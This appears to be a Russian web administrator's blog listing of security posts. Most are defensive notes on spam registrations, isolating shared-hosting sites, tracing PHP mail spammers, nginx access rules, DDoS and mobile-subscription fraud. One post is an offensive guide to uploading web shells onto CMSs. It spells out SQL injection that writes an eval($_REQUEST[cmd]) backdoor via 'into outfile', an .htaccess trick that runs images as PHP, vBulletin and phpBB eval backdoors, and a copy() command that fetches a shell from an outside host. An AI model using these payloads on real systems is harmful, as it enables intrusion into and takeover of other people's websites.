Производство фотообоев в Новосибирске. Интернет магазин фотообоев. Изготовление - один день! Каталог 10 000 изображений!
13 Март 2014

Битрикс. Защита регистрации от спамеров — stopforumspam.

Буквально задолбали один сайт с авто-регистрацией новых пользователей! (благо в форум не срут).
Тем не менее — капчу уже завернул до неузнаваемости — всё равно прошибают!

Готовых бесплатных (этого клиента «качать» на деньги — долго и нудно) решений на маркетплейсе не нашел — самому что-то ваять честно — лень!
Нашел решение, очень симпатичное мне по его установке (по работе проверим) — вся статья Битрикс: защита форм от спамеров. Подключаем stopforumspam

Элегантность решения — в отсутствии какой либо кастомизации — всё сделано на основе хука

AddEventHandler("main", "OnBeforeUserRegister", Array("XUser", "BeforeRegister"));

Перед регистрацией пользователя отсылаем на проверку к stopforumspam его IP, имя, email — если сервису что-то не понравилось, возвращает false — регистрацию прерываем.

Соответственно, в файл /bitrix/php_interface/init.php добавляем

Читать полностью »

рубрики: Bitrix, security, Администрирование, Полезности, Программирование | Комментарии (1)

31 Январь 2014

Битрикс — несколько сайтов на хостинге. Разграничение доступа.

Собственно, снова словил горький опыт по вырезанию вредоносного кода СРАЗУ на всех сайтах хостинга (изначально — официальная виртуальная машина Битрикс VM).
А беда вот в чём — допустим у меня прижилось 20 сайтов на виртуалке (под каждый делать виртуалку — жесть), каким то неизвестным мне образом на одну из виртуалок попадает троян в виде иньекции в php скрипт (или непосредственно сам скрипт) с возможностью запуска от пользователя Bitrix.
И на этом ВСЁ! Скрипт получает доступ абсолютно ко всем сайтам на данной виртуалке, т.к. все они с правами bitrix …
Сам себе закинул WSO — и осознал всю горечь происходящего.
Запереть аппач в root директории сайта возможности нет… ЧТО ДЕЛАТЬ?

Ну и придумал такой вариант:
1. На папки с конфигурационными файлами убираем доступ на чтение всем и группе (/etc/nginx/ и /etc/httpd/ )
2. Каждый сайт создавать с папке с уникальным именем, вроде 235hjhjfdsu
Получится такая структура:
/www/235hjhjfdsu/site1.ru/
/www/345o44jkre2/site2.ru/
/www/345fgmkj324/site3.ru/
На www и на «левые» папки — так же убираем доступ на чтение всем и группе (/etc/nginx/ и /etc/httpd/ )

Таким образом находясь в root директории сайта «вычислить» директории других сайтов под пользователем Битрикс не получится.

P.S.
В идеале аппач должен работать в рутовой папке сайта от имени пользователя, созданного для этого сайта!
Но как это реализовать я пока не нашел. 🙁

рубрики: Bitrix, security | Комментарии (1)

18 Ноябрь 2013

Как найти php скрипт — mail спамер?

Утро понедельника не задалось — при прочтении утренней почты обнаруживаю абузу с датацентра на один из моих серверов 🙁
При ознакомлении выясняется, что мне закинули какой то «сифак», который благополучно спамит добропорядочных граждан «via sendmail with smtp»

Предположив, что сиё действо выполняется с какого-то php скриптика сразу же встал вопрос о методе его поиска! Собственно — как?
Через мои защиты он уже каким то образом пролез, значит моими регулярками его не выцепить!
В идеале фукнцию отправки почты логировать — а там то я бы его по факту обнаружил!

Оказывается, начиная с PHP 5.3 такая возможность присутствует! и имея ей MAILHEAD

Пересобираем php с указанным выше патчем:

(инструкция для FreeBSD):
смотрим какая версия PHP
#php -v

у меня 5.3
#cd /usr/ports/lang/php53
#make config
отмечаем [X] MAILHEAD Enable mail header patch
#make
как все соберется без ошибок
#make deinstall
#make install clean

Далее в php.ini указываем куда писать лог
mail.log = /var/log/php-mail.log

рестартим веб сервер и делаем тестовую отправку

проверяем лог — если скрипт попал в лог — всё окей

Далее ловим гада.

Добавлю ещё выдержку со статьи:
Чтобы найти источник спам-рассылки на сайте, нужно в файле php.ini включить логирование рассылаемой почты директивами:

mail.add_x_header = On
mail.log = <путь до вашего пользовательского каталога>/php-mail.log

В моей ситуации я прикручивал эту фишку к виртуальной машине Битрика, с несколькими хостами на одной виртуалке.
На каждый хостинг была включена openbasedir соответственно путь для почтовых логов нужно определять внутри openbasedir и задавать отдельно для каждого сайта,
поэтому выставлять значения нужных параметров я решил не в php.ini а в конфиге аппача для каждого сайта

php_admin_value mail.add_x_header On
php_admin_value mail.log <путь до вашего пользовательского каталога>/php-mail.log

PS
Быстро удалить спам письма из очереди

find /var/spool/clientmqueue/ -type f -delete
find /var/spool/mqueue/ -type f -delete

там же наблюдаем за новыми отправками

рубрики: security, Администрирование, Полезности, Программирование | Комментарии (1)

10 Июнь 2013

NGINX ограничиваем доступ к папке

Собственно, нужно правильно средствами NGINXа ограничить доступ к админке сайта.
В данном случае это Joomla и папочка /administrator/ которую последнее время сильно стали тревожить подозрительные запросы …
Пишу «правильно» т.к. года два назад написал конфиг преследуя эту же цель и «вроде бы» всё работало как надо!
На днях всплыло, что не как надо 🙂
Итак:

Оказалось вообще не верным, т.к. работало только на /administrator/
И пропускало все атаки, переборы и т.д. на /administrator/index.php — которые уходили в секцию обработки скриптов

«Правильное» решение, сразу же найденное в сети — использование префикса ^~
то есть

НО! в таком случае правило работает на все файлы находящиеся в /administrator/
и до location обрабатывающего статику а-ля

дело не доходит! а т.к. у меня fast-cgi то статика осталась вообще не удел
всё происходит из-за приоритетов обработки location
Правильно обработки папки /administrator/ имеет более высокий приоритет, и после его обработки дальнейшие location не обрабатываются

Подумал я и ничего лучше, чем обработку /administrator/ запихать в регулярку (для выравнивания приоритетов) не придумал
Финальный результат (закоментированные строки убирать специально не стал, т.к. имея статический IP — это самая лучшая защита админки)

Таким образом все php из /administrator/ «пройдут» через секцию с авторизацией, не помешав обработке статики.
Ч.т.д.

рубрики: CMS, NIX, security, Администрирование, Полезности | Комментарии (0)

28 Март 2013

Защита от DDOS — первые шаги

Итак, вчера поимел первый печальный опыт с DDOS атаками — на час положили один из администрируемых мной сайтов.
Дёргали морду с разных IP, но видимо ботнет не такой уж и большой был т.к. одни и те же айпишники довольно часто повторялись (за полчаса чуть более тысячи повторов).
В среднем генерировалось около 50ти запросов в секунду, с которыми сервак конечно же не справился — nginx я положил «руками», прописал только свои айпишники — остальных deny пока атака не кончилась.

Сразу после атаки было получено письмо:

Добрый день. Мы оказываем услуги по анти-спамам и по разблокировки вашего сайта и телефонных номеров. В настоящее время мы видим, что работоспособность сайта и тел. номеров нулевая. Для демонстрации наших способностей мы можем восстановить их работоспособность. Если вы готовы обсуждать эти вопросы, мы готовы к сотрудничеству.

Читать полностью »

рубрики: NIX, security, Администрирование | 3 комментария

13 Ноябрь 2012

Заливаем шелл на разные CMS

За особой важностью информации полностью содрано отсюда Способы заливки шелла

Льем шелл через картинку

Вы взломали сайт (разумеется только тестируете) с самописной админкой… И не можете залит веб-шелл, но там присутствует заливка картинок и загружает только форматы .jpg, .gif, .png.
Что в этом случаем можно сделать?

Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и создаем файл .htaccess с содержимым

AddType application/x-httpd-php .gif
Данная команда выполнит формат .gif как php
Пробуем открыть [path]/shell.gif

Так же, если скрипт не равнодушен к переносу строки, пробуем залить шелл попутно переименовав его в shell.php%00.jpg, проверять доступность shell.php, а вдруг?

Способ заливки шелла через mysql.user из скули

1)Узнаем из под кого мы сидим и узнаем так же его права к mysql.

site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+
(Узнаем под кем мы сидим)
2)site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user='наш юзер'+--+
(Проверим привилегии нашего юзера. Если выдаёт ошибку при выводе, можно похексить нашего юзера 0x)
3)site.com/index.php?id=-1+union+select+1,'< ?php eval($_REQUEST[cmd]); ?>',3+from+mysql.user+into+outfile+'Путь до файла'+--+
(Заливаем мини-шелл)
P.S
Что бы всё получилось нужно имееть права на запись и знать полный путь до корня.
Так же проверить права на запись можно так:

site.com/index.php?id=1+and+1=0+union+Select+1,'prava',3+from+mysql.user+--+
Если prava отобразится, то права есть.

Следующая ситуация. Мы в админке форумного движка vBulletin

Заходим:
Plugins & Products -> Plugin Manager -> [Add New Plugin]
Плагины & Продукты -> Менеджер плагинов -> [Добавить новый плагин]

Выбираем темптлей. Обычно выбирают faq_complete, выбираем и жмем галочку Plugin is Active выставляем «Yes» и сохраняем.

Далее выводим phpinfo()

localhost/forum/faq.php?cmd=phpinfo();

Если мы вывели phpinfo() то считайте шелл у нас в руках.

Далее в phpinfo нужно найти полный путь до форума (например /home/u0000/site.ru/www/sell.php). Далее нам нужно наш веб-шелл превратить в txt файл и залить на любой сайт
mysite.com/shell.txt
Шелл заливаем командой

localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что делает эта команда? Она копирует содержимое переменной [a] в переменную [b], то есть shell.txt копирует в shell.php

Заливаем шелл в IPB 3


Заходим:
Поддержка->Управление SQL->Выполняющиеся процессы->Выполнить новый запрос

Код:
select 0x3c3f706870696e666f28293b3f3e into outfile 'Z:/home/site.ru/www/uploads/shell.php'
Полный путь можно посмотреть так:

Админка->Поддержка
Там будет сверху написана версия PHP и слева ссылка на PHPINFO

Шелл тут:
http://site.com/uploads/shell.php

Заливаем шелл в phpBB 2

1. Создаём файл ex.sql
2. Прописываем туда

UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:eval(stripslashes($_GET[e]));' WHERE user_id=2;
Где user_id=2 — идентификатор администратора

3. Заходим в админ-панель
4. В админ-панеле выбираем пункт «Восстановить БД» и загружаем ex.sql
5. Выполняем код / Заливаем шелл так

Заходим:
http://target/profile.php?mode=editprofile&e=phpinfo();
После:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
Что бы вывести phpinfo() нужно быть авторизованным.

Это только коротенький список, как и на какие движки можно залить шелл. Нужно больше? Welcome к ребятам на rdot
заливка на форумы
заливка на cms
А вот и мой любимый шелл, тоже на rdot))
WSO

рубрики: security | 4 комментария

26 Октябрь 2012

Взлом wordrpess через уже взломанный сайт

Снова сработал «поставок» установленный на ранее взломанном сайте.
На этот раз у хакера цель уже другая — подбор пароля к wordrpess сайтам (работа с другими движками аналогична) через уже взломанный сайт (мой).
В данном случае «бомбят» сайты расположенные на доменах 3его уровня вида *.com.au
(добавлено чуть позже, когда ещё один постовок сработал: «бомбят» вообще всё подряд — похоже базу доменов прочекали на признаки WP и теперь бомбят)
Поставок простой — при «закидывании» через POST запрос какого либо задания — оно не выполняется, как хотел бы того злоумышленник, а сохраняется для дальнейшего его анализа мною.
Кому интересно — скрипт к посту прилагается — изучайте (подозреваю мой сайт ломали таким же способом)
До кучи скину 3 разновидности скрипта, занимающиеся поиском и взлом «соседей» по хостингу (в случае плохой защищённости, например отсутствия OpenBaseDir).
host-hack-1.php
host-hack-2.php
host-hack-3.php
Т.к. все эти скриптики мне кинули добровольно, причём с не добрым умыслом — думаю имею моральное право их обнародовать 🙂

Ну и сам внедрённый post.php через который и кидаются на исполнение все вышеобозначенные скрипты ( не правда ли — очень простой 🙂 )

Далее цепочка думаю понятна — сайт ломается, в него внедряется post.php — и сам сайт становится звеном для взлома других. Далее всё работает в бесконечном цикле подменяя массив паролей.
Параллельно можно на взломанных сайтах подменить htaccess для сбора мобильного или поискового трафа, можно доров туды залить и через TDS уже тематический траф слить куда-нить, можно …….. в общем чего «выжать» с рабочих сайтов думаю вариантов куча

Ну вот — спалил рабочую тему зачем-то.

рубрики: security | 4 комментария

25 Сентябрь 2012

Мобильное телефонное мошенничество — подписки через интернет

Итак, продолжим (начало в предыдущем посте Телефонные мошенничества — сотовые компании в доле!)

Обычно телефонные мошенничества предполагают отправку платной СМС либо ввод номера телефона и подтверждающего кода, пришедшего по СМС, либо совершение звонка на платный номер.
Всё это делается под разными уловками, предлогами и т.д.
НО !!! человек отправляет, принимает и вводит код, звонит САМ (о том, что у него на тот момент в голове — умолчим) — важен ФАКТ!
«Не знал о цене, не прочитал, был не правильно проинформирован, введён в заблуждение, обманут» — неважно, ВАЖНО ТО, ЧТО это было сделано человеком лично И осуществлённое действие можно посмотреть в детализации его разговоров — входящее либо исходящее СМС, либо звонок на платный номер.

Собственно, первое что я сделал — конечно же заказал детализацию — ведь даже если это сделал какой то вирус или другое вредоносное ПО — это действие должно отразиться в детализации!
НО к моему удивлению ни СМС, ни звонков на номера в периоде когда я юзал интернет и получил СМС о подключении услуги — не было !!!

Получается, что у мошенников есть инструмент оформления подписки без подтверждения СМС-кой!!!

Грубо говоря я могу написать программку для своего мобильника, которая сможет меня подписать на какую то услугу без отправки смс или звонка с телефона …
правда не могу понять КАК ?!!!

Очень хотелось бы получить информацию о таких возможностях у сотовых операторов — ведь подобные моменты оговариваются именно с ними — техническая возможность подписки предоставляется именно оператором. НО! попытки узнать эту информацию у сотрудников МТС не увенчались успехом…

А может и программки никакой не нужно — например, если переход по ссылке считать подтверждением подписки. Но тут злоумышленник опять же должен быть в сговоре с мобильным оператором — ведь подписка должна быть осуществлена по моему номеру — и каким то образом мошенник этот номер узнаёт и уже потом каким то образом передаёт информацию МТС-у о включении услуги.

О данных механизмах остаётся только гадать, т.к. все мои розыски информации на эту тему пока не принесли успеха…
Очень интересует момент получения выгоды мошенником! Ну сделал вирусный сайт — нагнал мобильного трафика — подписались ХХХ человек на платные подписки — деньги получили Контент менеджер и сотовый оператор. Как далее контент менеджер делится непосредственно с исполнителем — главный вопрос!
Если что «нарою» в процессе своего расследования — обязательно выложу.

В следующей статейке, расскажу о мобильном клоакинке (открывая сайт телефоном — видим ссылки ведущие на сайты с вирусом, который и осуществляет подписку, открывая эту же страничку в браузере компьютера — видим только мирные и хорошие ссылки) — собственно, этот механизм был задействован в разводе меня на подписки 🙂

рубрики: security, Размышления, Разное | 8 комментариев

25 Сентябрь 2012

Телефонные мошенничества — сотовые компании в доле!

Преамбула:
Вчера с мобильного читал Баш на стороннем сайте (не знаю сделали или нет — но раньше мобильной версии Баша не было) адрес категории wap.infan.ru/inf/?sec=37
Мобила старенькая, именно поэтому искал WAP версию сайта — ну да ладно, не об этом …
ИТАК — читаю Баш, тыкаю мимо ссылки со следующей страницы на рекламную — попадаю на эро-сайт.
Ну раз зашел — надо глянуть пару картинок оголенных тел 🙂
Жму — и почему-то не осуществляется переход по ссылке, а предлагает скачать Java приложение — скачиваю, запускаю — да реально вижу 3 фотки — стираю приложение.
Через 2 минуты получаю SMS с номера 7250
«Сервис для Вас недоступен. На номере подключена услуга «Запрет контента».
Благо я раньше врубил эту услугу!

СМС я не отправлял и не получал (с кодом подтверждения), номер телефона нигде не вводил — иначе говоря никаких заказов услуг я не делал и не подтверждал!
Если бы услуга не была включена — подписка бы состоялась и неизвестно на какую сумму я бы «попал».
Раз я не был уведомлен о том, что с меня хотят снять деньги и тем более сняли без моего на то согласия — то такое действие можно расценивать как махинацию!

Ну раз я защищён от подобного рода махинаций — захожу снова, тыкаю в рекламную ссылку (на этот раз какие-то бесплатные игры) — уже ничего не скачиваю и тем более не запускаю — и ОПС — через пару минут с номера определившегося как МТС приходит информативная СМС
Доступ к Подписке «Игра в подарок!» предоставлен на 7 дней. Стоимость: 35.00 руб. с НДС/7 дней. Управление доступом к подпискам и отключение *152*2# Вызов (бесплатно)

А теперь к самому интересному ! — Звоню в МТС на короткий номер 0890!
Кратко объясняю происходящее, на что девушка всеми способами пытается донести до меня идею «мы за контент-провайдеров не отвечаем — звоните им и разбирайтесь сами» и старается поскорее закончить разговор.
Перевожу вопрос не от конкретного моего случая, в более теоретический аспект и задаю вопрос
Как меня ТЕХНИЧЕСКИ без подтверждения в виде СМС либо ввода подтверждающего кода полученного в виде СМСки умудряются подключать на какие то услуги при моём путешествии по волнам интернета ?!
Напомню — телефон у меня обычный Samsung D900, никакой не смартфон — с весьма скромными возможностями, тем не менее как оказалось подписывается на платные услуги «на ура».

На что снова получаю ответ — «разбирайтесь с контент-провайдерами — как именно они вас подключают — не наше дело»
Еле как объясняю, что меня интересуют в принципе как это возможно технически, например если я сам буду контент-провайдером. (а-ля «огласите весь список, пожалуйста»)
Девушка переключает на «экспертный отдел» — где повторяется всё снова, только уже с мужчиной-экспертом!

В итоге от МТС-а я не добился ровным счётом НИЧЕГО! сложилось такое впечатление, что они специально не разглашают данного рода информацию и всячески пытаются отстраниться — вроде как вот ВЫ а вот ОНИ — разбирайтесь сами.

Но как всё же выясняется и МЫ и ОНИ заключают договор всё таки с МТС и технически всё информационное общением между нами предоставляет именно МТС со своими протоколами обмена и правилами.

Но почему то мне эти правила объяснить не могут, даже в ситуации где я являюсь пострадавшей стороной и явно прав !!!

Всё становится на свои места после того, как понимаешь, что с любого снятия денег с твоего счёта — подписка, услуга, и т.д. сотовый оператор получает свою долю (и не маленькую).
То есть по факту оператор получает долю от мошенничества! что и подтверждает заголовок моего топика «Телефонные мошенничества — сотовые компании в доле!»

P.S.
Детальный разбор конкретного механизма данной махинации и схему работы постараюсь описать в следующем посте (конечно насколько сам смогу разобраться).
Если у кого то будет информация по теме — буду рад разместить.

рубрики: security, Размышления | 3 комментария

20 Сентябрь 2012

Защита флешки от вирусов autorun.inf

Порой приходится пихать свою флэху в чужие компы — соответственно, с вероятностью поймать триппер в виде autorun.inf
(тем не менее автозапуск на своём компе лучше всё таки отключить)

Для быстрой защиты от таких вирусов
1. форматируем флэху в ntfs
2. создаём папочку где и будут храниться все данные например MyData
3. в параметрах безопасности убираем наследование от родителя
1348449719-clip-3kb
4. на флэху для всех ставим только чтение

Можно ещё перед всеми этими процедурами в корне создать одноименную папочку
autorun.inf
поставить на неё всяческие аттрибуты (только чтение, невидимость и т.д.)
и кинуть в папку не пустой файл

Всё — флэха защищена.

рубрики: security | 7 комментариев